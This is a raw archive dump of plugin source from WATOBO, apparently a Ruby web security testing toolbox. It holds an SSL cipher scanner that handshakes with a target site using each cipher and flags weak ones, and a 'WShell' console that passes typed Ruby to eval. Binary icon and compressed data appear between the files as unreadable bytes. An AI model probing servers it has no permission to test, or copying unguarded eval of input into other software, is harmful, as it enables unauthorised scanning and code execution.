PROXY IS SET !!! - SSL-Check through proxy not possible!") FXMessageBox.information(self,MBOX_OK,"Forwarding proxy is set", "SSL-Checks through proxy not possible!") return false end @cipher_table.clear_ciphers chat = createChat(@site) checklist = [] checklist.push @check chatlist = [] chatlist.push chat scan_prefs = Watobo::Conf::Scanner.to_h @scanner = Watobo::Scanner3.new(chatlist, checklist, nil, scan_prefs) @pbar.total = @scanner.sum_total @pbar.progress = 0 @pbar.barColor = 'red' @update_lock.synchronize do @status = :running end @log_viewer.log LOG_INFO, "Scan started with #{@check.cipherlist.length} ciphers ..." # @scan_thread = Thread.new(scanner) { |scan| begin @scanner.run() # sleep 1 # to let the update_timer finish its work # getApp().removeTimeout(@update_timer) rescue => bang puts bang puts bang.backtrace if $DEBUG end #} end end def initialize(owner, project) super(owner, "SSL-Plugin", project, :opts => DECOR_ALL,:width=>800, :height=>600) @plugin_name = "SSL-Checker" @project = project @site = nil @dir = nil @scan_thread = nil @pbar = nil @scanner = nil @results = [] @results_lock = Mutex.new # @status_lock = Mutex.new @status = :idle @clipboard_text = "" self.connect(SEL_CLIPBOARD_REQUEST) do # setDNDData(FROM_CLIPBOARD, FXWindow.stringType, Fox.fxencodeStringData(@clipboard_text)) setDNDData(FROM_CLIPBOARD, FXWindow.stringType, @clipboard_text + "\x00" ) end mr_splitter = FXSplitter.new(self, LAYOUT_FILL_X|LAYOUT_FILL_Y|SPLITTER_VERTICAL|SPLITTER_REVERSED|SPLITTER_TRACKING) # top = FXHorizontalFrame.new(mr_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_SIDE_BOTTOM) top_frame = FXVerticalFrame.new(mr_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_FIX_HEIGHT|LAYOUT_BOTTOM,:height => 500) top_splitter = FXSplitter.new(top_frame, LAYOUT_FILL_X|SPLITTER_HORIZONTAL|LAYOUT_FILL_Y|SPLITTER_TRACKING) log_frame = FXVerticalFrame.new(mr_splitter, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM,:height => 100) @settings_frame = FXVerticalFrame.new(top_splitter, :opts => LAYOUT_FILL_Y) result_frame = FXVerticalFrame.new(top_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @controller = CipherTableController.new(result_frame, :opts => LAYOUT_FILL_X) @controller.subscribe(:apply_filter){ |f| @cipher_table.filter = f ; @cipher_table.update_table} @controller.subscribe(:save_table){ filename = FXFileDialog.getSaveFilename(self, "Save file", nil, "All Files (*)") unless filename.empty? if File.exist?(filename) response = FXMessageBox.question(self, MBOX_YES_NO, 'File exists', 'Overwrite existing file?') return 0 if response != MBOX_CLICKED_YES end File.open(filename, 'w'){|f| f.print(@cipher_table.to_csv) } end } frame = FXVerticalFrame.new(result_frame, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding=>0) @cipher_table = CipherTable.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) FXLabel.new(@settings_frame, "Enter or select site to test:") @sites_combo = FXComboBox.new(@settings_frame, 5, nil, 0, COMBOBOX_STATIC|FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) #@sites_combo = FXTextField.new(@settings_frame, 25, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_COLUMN|LAYOUT_RIGHT) #@filterCombo.width =200 @sites_combo.numColumns = 35 @sites_combo.editable = true @sites_combo.connect(SEL_COMMAND, method(:onSiteSelect)) begin @pbar = FXProgressBar.new(@settings_frame, nil, 0, LAYOUT_FILL_X|FRAME_SUNKEN|FRAME_THICK|PROGRESSBAR_HORIZONTAL) @pbar.progress = 0 @pbar.total = 0 @pbar.barColor=0 @pbar.barColor = 'grey' #FXRGB(255,0,0) @start_button = FXButton.new(@settings_frame, "start") @start_button.connect(SEL_COMMAND, method(:start)) @check = Check.new(@project) @check.subscribe(:cipher_checked) { |result| begin @results_lock.synchronize do @results << result end # FXApp.instance.forceRefresh rescue => bang puts bang puts bang.backtrace if $DEBUG end #puts "#{@pbar.progress} of #{@pbar.total}" # logger } log_frame_header = FXHorizontalFrame.new(log_frame, :opts => LAYOUT_FILL_X) FXLabel.new(log_frame_header, "Logs:" ) #log_text_frame = FXHorizontalFrame.new(bottom_frame, :opts => LAYOUT_FILL_X|FRAME_SUNKEN|LAYOUT_BOTTOM) log_text_frame = FXVerticalFrame.new(log_frame, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding=>0) @log_viewer = LogViewer.new(log_text_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) updateView() rescue => bang puts bang puts bang.backtrace if $DEBUG end end private def reset_pbar @pbar.progress = 0 @pbar.total = 0 @pbar.barColor = 'grey' #FXRGB(255,0,0) end def on_update_timer unless @scanner.nil? progress = @scanner.progress sum_progress = progress.values.inject(0){|i, v| i += v[:progress] } @pbar.progress = sum_progress if @scanner.finished? msg = "Scan Finished!" @log_viewer.log(LOG_INFO, msg) Watobo.log(msg, :sender => "Catalog") @scanner = nil reset_pbar() @start_button.text = "Start" end end @results_lock.synchronize do @results.each do |r| @cipher_table.add_cipher(r) end @results.clear end end end end end end end watobo-1.0.1/plugins/sslchecker/gui/sslchecker.rb000066400000000000000000000002331366346341400220620ustar00rootroot00000000000000#path = File.expand_path(File.dirname(__FILE__)) require_relative File.join( "..", "lib", "check") require_relative "cipher_table" require_relative "gui" watobo-1.0.1/plugins/sslchecker/icons/000077500000000000000000000000001366346341400177405ustar00rootroot00000000000000watobo-1.0.1/plugins/sslchecker/icons/green_16x16.ico000066400000000000000000000021761366346341400224070ustar00rootroot00000000000000 h(  ~~glkZZUUYYggsysA ~./ FdFҊ2}qq 6n5xtxGww&k&~v~!Ɏ%QlQ`_{"o"88&%(( ;;;;NNQQCC,,bb{ssVV,,%FFNNSS"" ~!MM&%qrG݌kk88##{{2{|SSg..22GHA wwwatobo-1.0.1/plugins/sslchecker/icons/grey_16x16.ico000066400000000000000000000021761366346341400222550ustar00rootroot00000000000000 h(  7yyyyyy7jjjooovvvyyyzzzvvvoookkkjjjuuuxxxjjjjjjuuuwwwiii^eeeqqq~~~sssgggI~~~llluuuxxxlllnnnxxxzzzooolllnnnxxxzzzooooookkknnnuuuwwwooonnn|||lllllliiilllѺ\ccciii\দ|||\xxxhhhiiiyyyvvv^watobo-1.0.1/plugins/sslchecker/icons/red_16x16.ico000066400000000000000000000021761366346341400220610ustar00rootroot00000000000000 h(  ^^~55NNoosDޜ.'&ggy 92 hhyڠӸ;(uuyH^F=(''&"QQR+37750*#K?@@?=90&KEG H FC@;1& PU](^)W NEA;."b0uI\^yMd1PE?7( [gðZb/LB;.87rDRD=1"ihyNWE?3"**秧uHTD>2#:54ef5MC;.$9+ϙ%trCfV JH HP.^K?һwatobo-1.0.1/plugins/sslchecker/icons/sslchecker.ico000066400000000000000000000062761366346341400225750ustar00rootroot00000000000000  (@ qDDDDDDDDD^hhhghgggffaD~aaaaaaaai t u u t u u tss')eooomjgb_[qTnzzzzzzzz{!w!w!w"w!w"v v!u t(+Fccccccccy#x"x"x"x"w"w"v!v!v*.iyrmjfc_Zq\qwwwwwwwwNMF=3+~"w"w"w+4J|________PONLKI@8288j}xtgqppppppppRQQONKIHFW@OuZZZZZZZZTSRQNMKHFZDnyuttllllllllVUTRQNKIG[M{}}}}}}}}hYWRPNLJHZQOOlytfeQOiFm]BBOllpPalllllllkQ@IlORBJUCLYCLtX@MVN6RUG2{e)wF}+pbz@Ie9"`}=E[#Up}sB6IikQ1pRkf~lR6s{~~??watobo-1.0.1/plugins/sslchecker/lib/000077500000000000000000000000001366346341400173735ustar00rootroot00000000000000watobo-1.0.1/plugins/sslchecker/lib/check.rb000066400000000000000000000165631366346341400210100ustar00rootroot00000000000000# @private # Mozillas recommended ciphers (https://wiki.mozilla.org/Security/Server_Side_TLS): # ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!3DES:!MD5:!PSK # # module Watobo#:nodoc: all module Plugin module Sslchecker class Check < Watobo::ActiveCheck attr :cipherlist @info.update( :check_name => 'SSL-Checker', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Test system for supported SSL Ciphers.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) @finding.update( :threat => 'Attacks on weak encryption ciphers which may lead loss of privacy', # thread of vulnerability, e.g. loss of information :class => "Bad SSL Ciphers", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_LOW ) def initialize(project) super(project) @result = Hash.new @cipherlist = Array.new OpenSSL::SSL::SSLContext::METHODS.each do |method| next if method =~ /(client|server)/ next if method =~ /23/ #%w( TLSv1_server SSLv2_server SSLv3_server ).each do |method| puts ">> #{method}" begin ctx = OpenSSL::SSL::SSLContext.new(method) ctx.ciphers="ALL::COMPLEMENTOFALL::eNull" ctx.ciphers.each do |c| @cipherlist.push [ method, c[0]] end rescue => bang puts bang end end # puts @cipherlist.to_yaml end def reset() @result.clear end def check_cipher(request, method, cipher) begin @lasterror = nil response_header = nil site = request.site proxy = Watobo::ForwardingProxy.get(site) unless proxy.nil? puts "* a proxy is configured for site #{site}" end host = request.host port = request.port # check if hostname is valid and can be resolved hostip = IPSocket.getaddress(host) rescue SocketError puts "!!! unknown hostname #{host}" puts request.first return false, "WATOBO: Could not resolve hostname #{host}", nil rescue => bang puts bang puts bang.backtrace if $DEBUG end begin tcp_socket = nil tcp_socket = TCPSocket.new( host, port ) tcp_socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) tcp_socket.setsockopt(Socket::SOL_SOCKET,Socket::SO_REUSEADDR, true) tcp_socket.sync = true socket = tcp_socket ctx = OpenSSL::SSL::SSLContext.new(method) ctx.ciphers = cipher socket = OpenSSL::SSL::SSLSocket.new(tcp_socket, ctx) socket.sync_close = true socket.connect rescue => bang puts bang return false end true end def generateChecks(chat) begin @cipherlist.each do |method, c| checker = proc { # test_request = nil # test_response = nil # MAKE COPY BEFORE MODIFIYING REQUEST request = chat.copyRequest ctx = OpenSSL::SSL::SSLContext.new(method) ctx.ciphers = c cypher = ctx.ciphers.first bits = cypher[2].to_i algo = cypher[0] result = { :method => method, :algo => algo, :bits => bits, :support => true } if check_cipher(request, method, c) == true notify( :cipher_checked, result) if bits < 128 fake_headers = ["200 SSL-Handshake OK\r\n", "SSL-Method: #{method}\r\n" ] fake_headers << "SSL-Algorithm: #{algo}\r\n" fake_headers << "SSL-Bits: #{bits}\r\n" fake_response = Watobo::Response.new(fake_headers) addFinding( request, fake_response, :test_item => "#{algo}#{bits}", #:proof_pattern => "#{match}", :chat => chat, :title => "[#{method}/#{algo}] - #{bits} Bit" ) end else result[:support] = false notify(:cipher_checked, result) # puts "!!! ERROR: #{c}" end [ request, fake_response ] } yield checker end rescue => bang puts "!error in module #{Module.nesting[0].name}" puts bang end end def generateChecks_UNUSED(chat) begin @cipherlist.each do |method, c| checker = proc { test_request = nil test_response = nil # !!! ATTENTION !!! # MAKE COPY BEFORE MODIFIYING REQUEST request = chat.copyRequest ctx = OpenSSL::SSL::SSLContext.new(method) ctx.ciphers = c cypher = ctx.ciphers.first bits = cypher[2].to_i algo = cypher[0] test_request, test_response = doRequest( request, :ssl_cipher => c ) result = { :method => method, :algo => algo, :bits => bits, :support => true } unless test_response.status =~ /555/ notify( :cipher_checked, result) if bits < 128 addFinding( test_request, test_response, :test_item => "#{algo}#{bits}", #:proof_pattern => "#{match}", :chat => chat, :title => "[#{algo}] - #{bits} Bit" ) end else result[:support] = false notify(:cipher_checked, result) # puts "!!! ERROR: #{c}" end [ test_request, test_response ] } yield checker end rescue => bang puts "!error in module #{Module.nesting[0].name}" puts bang end end end end end end watobo-1.0.1/plugins/wshell/000077500000000000000000000000001366346341400157755ustar00rootroot00000000000000watobo-1.0.1/plugins/wshell/gui/000077500000000000000000000000001366346341400165615ustar00rootroot00000000000000watobo-1.0.1/plugins/wshell/gui/main.rb000077500000000000000000000075611366346341400200460ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Plugin class WShell class Gui < Watobo::PluginGui window_title "WATOBO Shell (experimental)" icon_file "wsh.ico" def initialize() super() @history = [] @history_pos = 0 hs_green = FXHiliteStyle.new # hs_green.normalForeColor = FXRGBA(255,255,255,255) # hs_green.normalForeColor = FXRGBA(0,255,0,1) #hs_green.normalBackColor = FXRGBA(0,255,0,1) hs_green.style = FXText::STYLE_BOLD hs_red = FXHiliteStyle.new hs_red.normalForeColor = FXRGBA(255, 0, 0, 255) #hs_red.normalBackColor = FXRGBA(255,0,0,1) hs_red.style = FXText::STYLE_BOLD frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) output_frame = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @output = FXText.new(output_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @output.editable = false @output.styled = true #@font = FXFont.new(getApp(), "courier", 12, FONTWEIGHT_BOLD) @output.setFont(FXFont.new(getApp(), "courier", 10, FONTSLANT_ITALIC, FONTENCODING_DEFAULT)) @output.hiliteStyles = [hs_green, hs_red] @output.appendStyledText Watobo::Plugin::WShell::HELP_TEXT, 1 FXLabel.new(frame, "Enter 'help' for more information.") cmd_frame = FXHorizontalFrame.new(frame, :opts => LAYOUT_FILL_X) @cmd = FXTextField.new(cmd_frame, 25, nil, 0, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_X|LAYOUT_LEFT) @cmd.connect(SEL_COMMAND) { run_cmd } @cmd.connect(SEL_KEYPRESS) do |sender, sel, event| fin = false if event.code == KEY_Up @history_pos -=1 if @history_pos > 0 set_history_cmd fin = true elsif event.code == KEY_Down @history_pos += 1 if @history_pos < @history.length-1 set_history_cmd fin = true end fin end @cmd.setFocus() @cmd.setDefault() @cmd_btn = FXButton.new(cmd_frame, "run") @cmd_btn.connect(SEL_COMMAND) { run_cmd } end private def set_history_cmd() @cmd.text = @history[@history_pos] end def run_cmd cmd = @cmd.text.strip unless cmd.empty? if cmd =~ /^help$/i # @output.appendText(Watobo::Plugin::WShell.help) @output.appendStyledText Watobo::Plugin::WShell::HELP_TEXT, 2 @cmd.text = '' else @output.appendStyledText ">> #{cmd}\n", 2 @cmd.enabled = false @cmd.backColor = @cmd.parent.backColor begin @history << cmd unless @history.include? cmd @history.shift if @history.length > 20 # set history_pos to length, because it will be reduced before it will be # displayes @history_pos = @history.length # command = "out = StringIO.new; out << #{cmd}; out.string" command = cmd r = eval(command) @output.appendStyledText "---\n#{r}\n---\n", 1 rescue SyntaxError, LocalJumpError, NameError => e @output.appendStyledText ">> #{e}\n", 2 rescue => bang puts bang.backtrace @output.appendStyledText ">> #{bang}\n#{bang.backtrace}", 2 end @output.makePositionVisible @output.length-1 @cmd.enabled = true @cmd.backColor = FXColor::White @cmd.text = '' @cmd.setFocus end end end end end end end watobo-1.0.1/plugins/wshell/icons/000077500000000000000000000000001366346341400171105ustar00rootroot00000000000000watobo-1.0.1/plugins/wshell/icons/wsh.ico000066400000000000000000000121321366346341400204040ustar00rootroot00000000000000 ' D( N aL}^] [ |:P 83E@I,K$Ea +xxn~^Sl4e rNT[,#w {|>ᏇᏇ!!!xxx8888watobo-1.0.1/plugins/wshell/lib/000077500000000000000000000000001366346341400165435ustar00rootroot00000000000000watobo-1.0.1/plugins/wshell/lib/core.rb000066400000000000000000000020571366346341400200240ustar00rootroot00000000000000# @private module Watobo#:nodoc: all::Plugin module Plugin class WShell @executions = Queue.new @history = [] HELP_TEXT =<<'EOF' ____ __ ____ _______. __ __ \ \ / \ / / / || | | | \ \/ \/ / | (----`| |__| | \ / \ \ | __ | \ /\ / .----) | | | | | \__/ \__/ |_______/ |__| |__| Welcome to the WATOBO Shell! Simply enter your ruby code you want to execute and press enter. For command history use Up- and Down-Keys. A good starting point to explore WATOBO is the Watobo object itself. Example 1: List all sites >> Watobo::Chats.sites.join("\n") Example 2: Get all values of URL parameter >> Watobo::Chats.each do |c| v = c.request.get_parm_value('raid'); out << "#{v}\n" unless v.empty?;end Example 3: List all URL where chat comment contains 'Session-Test' >> out << Watobo::Chats.map { |c| c.comment =~ /Session-Test/i ? c.request.url : nil }.compact.join("\n") EOF def self.help HELP_TEXT end end end end watobo-1.0.1/plugins/wshell/wshell.rb000066400000000000000000000005701366346341400176220ustar00rootroot00000000000000# @private module Watobo#:nodoc: all::Plugin module Plugin class WShell < Watobo::PluginBase plugin_name "WShell" description "With WShell you can execute ruby commands in the context of WATOBO.\nVery useful for advanced analysis of conversations or debugging purposes - or simply to explore WATOBO." load_libs load_gui :main end end end watobo-1.0.1/start_watobo.rb000066400000000000000000000001631366346341400160530ustar00rootroot00000000000000#!/usr/bin/ruby puts "Don't use start_watobo.rb anymore. If you installed watobo via 'gem' just type watobo_gui." watobo-1.0.1/watobo-1.1.0pre.gem000066400000000000000000030160001366346341400161450ustar00rootroot00000000000000metadata.gz0000444000000000000000000000746113605062401013443 0ustar00wheelwheel00000000000000e^\_㶑קPɃ5uIn8I%ދ+IP ! .Mwn5 9*4FwfNeO"_Vr/snjV ȭEhG⫿zjۻVU[qW~\g+Riڬ5ܬZYJP*M!~WЖ% \nsw{h RG澭YjRRMv`xҐ7{הc}׿%=ꮱ@~Ѣy+#c~cFV#?NWNھqz?jޟqu|}}OJɡ7jhtƾ7*@՛ -_~n{Ӳʅ0u}kiֲbmZ4<(=ﴴgh B=hFb-H__Q z58 k5o*5<Қv}T٬+,|]W3(tޮDeջBmd&47B dYs2<:Gf C x՜Bl/Q|߿W_믶u~?9M%{ڥeS<=2u!mpW3"H u.Z>e( ~Y& kyɀDb*՛)f꘍u[1r<xARkZe^+p)&<7ƥgKٽ+-<ÛÛ =o#%M~yne.8{v^I$]XKQ_CbܥoxgĔR@|-؀EUz"Q 5jBl֔c#"3"!#=XZRFtB`' wh'RǥjGtB$/^x$.,B`MAbzMJG7"r 3ۜ5gJS NWQh ̽ Dhn}b,pPB^hØӵt#(ґߖ.)O'$[{٫)D$u A^YF·l[u(9^0NqY:ǍUx ˪N&7Oj(2Q Jf=ys۵aoL;(En\Wװ;XΗ$Qdpu#8` йy]GВ*"V9>('VXQ *{li#,#_Na%wHMpmIfy@3 h#?3qTX0(3H{ax]DC,C絈V¯ Ĥ1}DեyZae:OĘ.5&d]uf'¼ć40*Ğw1{1 Ďk72^ǁXetu`5] 8c5eUz{7sv|+lV6x@pfj)^0r^TgY @@SZ`+$_SIvZ,נ,QNVTNJhKU=];v7.w#VW?@3E.ļIDM)XIiUM=n( ]@bV/8 E) aj/6'a% Zet*TוR*j5L`21_%e0i:tR`nb'F&1;Obs@7(;a8 vC{Li'A!#<^ĵ 8XBr&帙hrv Ͱ&{>v2::RR0%J3t۾-ϓxdxp-9]*mIbHݘa>oGف%؇6O -(uMgD@&hn f/ 7 ,Έݞ\ &8m1 cxwB#&Ctz4pQgP!lU@eeJR}؃[B"=iټdH佂h!ߨY^Y`$zԿQ lMN&]{v51jg@zm -CBaƘ<,xS0M..bܑ V(;S>>ruc^5hJ#w2 Ӫϧ .ܬ;rbad{}I8 rp*gUzʘBa8G~wW$=-S8XAFgNᅆ Е6IK -0'GK/v'G^=#nS"M,T*AL[IU-~Xm+co@Ѣ_Ƅ1u 4²xݐ#P%jq TO,ld@ӵ 9JX`L}҃pA84Ib2Eo gdN ow`˯& ָ X4 l+N<,a5?X)2Q6"r 2*n&˜W77bM?lJWjYtL*eE&4 C-P^RpP9jfEĴӉn'"ٔn¾?SY}cFp. =$RHu-:CIciO㴅W~"V`?t6H5Rxk1^+eU;mdˋB0gĬp7U6]b9E!,Q:5p!gU_EXXE t!Qd"h"]=%CW~nat~Q!`LFZ+&Y#" Lj0Nehh2p;.j$;4NLНżsLu#fg2'[wB\F"fp/xwbO;m1sQ„gn; +BKWA[ԗhys yHnPG@ΎQr%gYG0-)>zu;}dޖK",/\&-?F (~*̲?Cvdbjkbǩ"e5&( fEu#]_D}c.h~p5 Ua ;05l>`l}(l1ބMh?,f \w--$;2oL;& "hd ȕ;Gغ+z w<:m2g yPHߎH}FL- 2g_ 14?cUc&^3›Jf p̺3 \X Lh2xB [')1.2QXcfzs*=߆ԳeQਚQdĜ]*231Lz`{/L [RO=19\@{FU8͟6ۻDpk1p[Y-qBWrrG v;i%6iE~p=m{T٢>x%C'&4m}2]]s}ܚ߬ JU:RW`tGdata.tar.gz0000444000000000000000000277701713605062401013376 0ustar00wheelwheel00000000000000e^}`UaEQ=$즒J4lvg!M,`(( tQ{3 D#3|}Q0<;piIĄ KLNM蟐StB4Ŧ4։޹_2+Kn`hLJ FY/[$(m&[┬XeYl+~1h;+8^Q$x9@絸dLuZ|9NFA nPy:bCX'YIj,2fYCII!N֋Jy>ɂ\FFdKhMJ:4][K.䪕S$a*򺛚9p;=j,z%Cp5Qr vK=Iv(/- PU 5Y7a7GZ8NAl~Tj΋'4HwH,tHؐio,|Wt-6>{h DC>XJsx"IoE n]DE资a-NV1a$X>F9y60~B9 ӘQuBtNE&[)3 8b-a#N> vh!Yȳഎ$9"ʇ2cr'5HfRl,uaCâT8X>Fz=#R>@H!ZC-82#9@/S#:!GVi2G 9XplF~뉌, k'ǫ`_lS~498|:}/^ft7 q 3:4 Xe52Rx GK!ZuK7l ]hp$o"#{pZ( YfcsCڑd_Q nc[+J S̏ӏ cm~+5JqcݍxR+qڭ4FLJ>6X^#V"`236"o)i8ڢDQ(xkEPbu{he!!j+aqL2 'Ƀx!"" {!QqDۍU.K>1Vedg/L.CvOt22Og7#a;ȄCeW.Q NqUt kB8KT+lHVeB r~D*1A6of =F$6={l #U83;ŢROql۬s1gmcБ#nj  57X~x͐>|+ISpjen`B-nFL2OU0n#"$̆JсNRBd疭^7RD:ʿ0xebRR1sr0T\'}ZAC36&q\l' * W Y`W[,â254#$+!TJND%0JEHD J${\}hl~$cdLd !m8=noK5א =E f"ӫ䐆3=mWI*!d5  dx,8MB>!ZrQ{G;ebp}HpjB"'N! KYƍR8,!La2ʨIZIZӅa# R '\)xE;r:!z@&QfEQ0hkh6l k&h8e3!|5U!_PQzLgYbӣdpHX!^2}$~)"6B+Y-^X9'eP)`dB!ڱa#ҜX0 #MScNVC PAdEҗYSu~W}ŽFJ맑b8&;⳰y!e\>8Zꮤ4ZH:!eW4J7\sn.YdTj%}P|G[Cu&!+g@!@$ Le뗙և:j$'#Afe6b8*K[ yvHP14T Sg^cA%ATyR46)ef#M%DžhjR3")Dq1UNB|B#%nb&hq2,VA<&,U$H2##+ 2dL(Gԇ YlueW4Kw• ;"j,!I2731'q,F36 FU-d EmdlE|U@{O)c8lwh1y~:8KoɫUs(z iXeنdCRRϝ805[@uk!W.UL|Nd] M-9d[fRjZE2Գ0 epYLL"9/2RR[G)h taYhC;zQ!DWZ0qS˝dȕEy`-w'EFE/(z[%%B' QE9Q漈" Fa~Up~1S ~7(rAQqZB*ۮjjqd1#,cAv3FI4Ի3vU4ZlMLcf" eab*YA}6>D:6vcXcz,#*ԞS#?W}}_\D%yU.nu3 `չ1wCrPW3ɴte qԕB9)JXu2C3&o7/Ѵg+4 HR,kZl Mji%YX{iẌrm D? PAj-0*:q-_R Eŗ(4XhFbgV Q, qPQvZPVyK a>G&~.P).&ӈhXUA?%`~* $7YFX-rPh\bK9%(ii=BW/qDk%DRl/JY86$dT!nj? eL3VTDd}fo7 (AU7񪍰"ע9.)#EPMB .2+[t2d>! Ty6IF]YNsQq\j0w h*HJL԰EGn!BlAr ZJyT.r`aA=qB@2uyZkgH bfX 94ZbqEY,EbW RPM`5)ow LiA|:*k<)-K- H&n& bM$9T!uM8B@1\Z+1WP"^Q(}PJBT$TErZouV %X#:eҮ/ҸD #nb5.q1Ts Qf"2h>y/hDǍ9PD%[h|m!h2Ga`Iz9~Z%<+]l ŕ=MFϚ~@NhJVc`?999co1;١*FZSV%]vĿ8U4uHH'+[jUa6kCjZc+RGTF1o[P]]TX\P~M(TWt-mbEMNN=}nB ĥS4pF^#5Q+dMbMT&ZrLOK\WK9W(A)3l1"3A3lˀhILhcI`=5q)|  O2vPx m*VE 'l 7c4+.y/Ʋ>#CGƳcA,y<#!5y^Y Svh3H8Y*<9ʚןrPh#YGI# Jy4`iD0hmQ KJC^htIS!G Pdq!,}__ pQIf렆q@jR}L,\"ǢffA5Z9Vl`Dlv;HK09 ;D@DY1TDlyi#l3(WV*s;NUhTv#(ɡc[جTemAYOW/յlp>lNbIB_ q3ao{^iq⠽-6ASeC-^cAU;6[83֐E 9iILKboe%e ]6JM,#8Pŏh{iViVY ñjv7ᲐdPhOKhM$!絢J A|}5Rg'h()}עO>!#FixqH5NIr+֓/5&E`C5A+MעYj(sHpG9%Xo+sdv )YE4/KkJ"> qAbS< .#.z ~_AKy1 ۜH8&FGh,~OFɆB޽6`5Eqǀ̹d &/Tj'1#˕ l>T,1UOJb4yeW NdCTFii&s)ɬTEP L-uףVv9ZgiS2Ks > l5jI8#ğ /l2Ni4-D 1V궴KF`*6jC @ƅ&ԏ#TJTzXAjaPIJfYXY m>˵2U*!O{աI3zWD8#P<2d1ʤnJfNB䲬j!@#*cVh |CmRH )R=%|Q=xEEA˺sP"i`(&Oxm&!8EreCԏW囹m!ĉ| N  CUݺe-G^;wgB̒ y#&dƴ$zOd!Ӄ&m#G .LO-Ԡ-(HVY&$q8]Q~BС BM Dh:Y_m #8>NEӜh=HJŲ0C`8DޮgP녛+4vW8F("~R bm6GI VhcK:-Ta_r؄D-FM])S_Ҷր=Ui'\f6i*p7r]15seD$)LELjkJ/XX%/[j*+OQ P"9zϪ{냚Zr|bM30ţce sT`VuJ ]U7OV0s'Fk# 6q)CDj|u2 Js)-,(a1XZ|͐B>[6*6͏0[ MtTRbg tb|frKYc҃Q2(2)3КCu"%!EcD|Z( xqFe1h3a4*{S4^Dug(yX '2% qnns'آl,ˋF`vA3 -(p\M.5~êA9R)jt KV>? RG,#j*KFE|zE5[n5۲zbx$ŇnZ:ɉZݎ4UiVlB7dyH|{p`iwPC&PhM*jVHX_jR%ّl+<ƗI-4)LM -ekLBUJ-]ژa`*9zoݔJ-4ut$+sӑ@CۍP(I19ȵpyEH>d멲-1w B8+NZI +˽|? Cel sฑr)~|'B*Ʈ+?~/x2+O{쌬?ԔVHHJKJ #)5!fzIٴ,d7u h׸Q̘so{!;kev^ܥ\ 9YlLbHV''FANf#}ҥryJxu6(ɪogܴK<}~ V/B/6Ќ{|gdmckt2w ͊>c h.fs/Ȃˮ,;6(wUc#si#.U_0i>ɔUnvk+庘%cYCYk%3&Nio07YHZ鷹iPٷ*&]Kf؆Mub,(aLuZ`4mQ#͋GQ6n h)˄Np%&V?)mЖn͑ɦOv'/Nd%g@ht>TB_$3;|\uq~e4|u;F_#"t["A68㕼19Hܣ,58r6*\7OJ\-ܹi+1!jO韖&O_7Ѐv"Dۼ57|Egh5)J=Q7C*ts%9yhU0G?f EA1cF%OPIE:GJ VQʷ1H&ZJV/iM&.kY$&JrNW"1b:qL.X$S}3f'1-*EVȁ,%pU@6ʖ%3UQ!OO ;]!J3( o/ZRiƢa0V,CrY PuМttrk C0 1\Kq Ƶg$DhhHo-Bs^b M +Ic!6vhE*i& s;M)Gi -f(]¢£cT`vQ]:PcXHh ŚVOnXf%zk`TDנ&wud5lNlŷxcذ8C޼~MxiSmuH-Zbi!rۆseG-Qߒ;DL +̑MYlu4טV"$d*%6LY#(_LĤX <ά5 #v#qV_$zzLPYķ !6b#*cbM&SIa0sTvi&<*;(#/,;NHl *;5krg!ki>4qti 3Iy"NX)O e|4qӴӢ v4Ŷ`TIԍ*]U&|eFOqE15BKYLIFcbl3R1lif|I FcRb`gbFDV&TĦ6PZr"euKe{"aik8DV (+Ӆ,QYYGq6 %QaYƄXg I[ (4meB}8,:« 7 "8!r%qi aad.*=*o.G~mnYE8}]Pe#3"wE#q"vӲKwwJKe0KVfF e6Xt !cng! R6-8P(<>|aY5FC@2FS||bR1K4 LidҘLD^̍d~e?rp矻׺/!rB 6"X;]WzK _+qy_ťd0%fsNn^ٌGrP=bl_obX1 dt^;F-3 U8ڐW+.ƼJR-1mdy_f"~yjU-;6 r`kѿ2[&B)i}/Q 1\JBap-QzmђE@hT61?}pmּ'"⑲֫p$v6BkD5{hf6ُl%Ly)yWBbj0?)-bx%?&:L|ޤn66cv5b2;Iif&vFuMl്?x̶R6pWB(, YΗTB+Nv=hG7KZәzmꉞZP+C$?x\jfVPaVY&Hj 5'ͮ ^bdۥbg_Z2f@sOMi'6+_i0Lυ,ʠ=POl-ђR+FliǮk*^^fk"HfmC5hٲ%Yx(A?+>J_Zھ}_H<2ңb|tP+6(  